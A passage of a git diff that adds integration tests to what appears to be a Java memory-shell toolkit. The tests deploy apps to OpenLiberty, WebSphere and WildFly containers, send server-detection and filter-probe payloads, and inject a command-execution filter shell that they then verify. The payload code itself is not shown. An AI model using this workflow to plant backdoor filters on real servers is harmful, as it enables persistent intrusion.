ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + log.info(data); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java new file mode 100644 index 00000000..5d7ea706 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java @@ -0,0 +1,106 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty22ContainerTest { + public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|11.0.19|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.WebSphere, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java new file mode 100644 index 00000000..6221402a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java @@ -0,0 +1,110 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty25ContainerTest { + public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|17.0.17|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.WebSphere, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java index 537e06ce..87bc115d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java @@ -2,14 +2,20 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -18,9 +24,14 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.startsWith; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -33,7 +44,7 @@ public class WebSphere855ContainerTest { public static final String imageName = "reajason/websphere:8.5.5.24"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .withExposedPorts(9080) .withPrivilegedMode(true); @@ -78,4 +89,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrlFromWAS(container); ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java index 4fd57561..ccfc8c4a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,9 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -32,7 +43,7 @@ public class WebSphere905ContainerTest { public static final String imageName = "reajason/websphere:9.0.5.17"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .withExposedPorts(9080) .withPrivilegedMode(true); @@ -72,4 +83,22 @@ void testBytecodeReqParamResponseBody() { String url = getUrlFromWAS(container); ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java index 673817ed..937fa1bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java @@ -1,11 +1,20 @@ package com.reajason.javaweb.integration.probe.websphere7; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -30,7 +43,7 @@ public class WebSphere700ContainerTest { public static final String imageName = "reajason/websphere:7.0.0.21"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .withExposedPorts(9080) .withPrivilegedMode(true); @@ -56,4 +69,22 @@ void testServerDetection() { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.WebSphere, data); } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java index 901ad858..6b8142e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java index e9fbda1f..2910632c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java index ce081b31..0a793fcc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java index 0e1639fe..698fe8c7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index 1dfde1db..ebaf9565 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -72,4 +82,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git 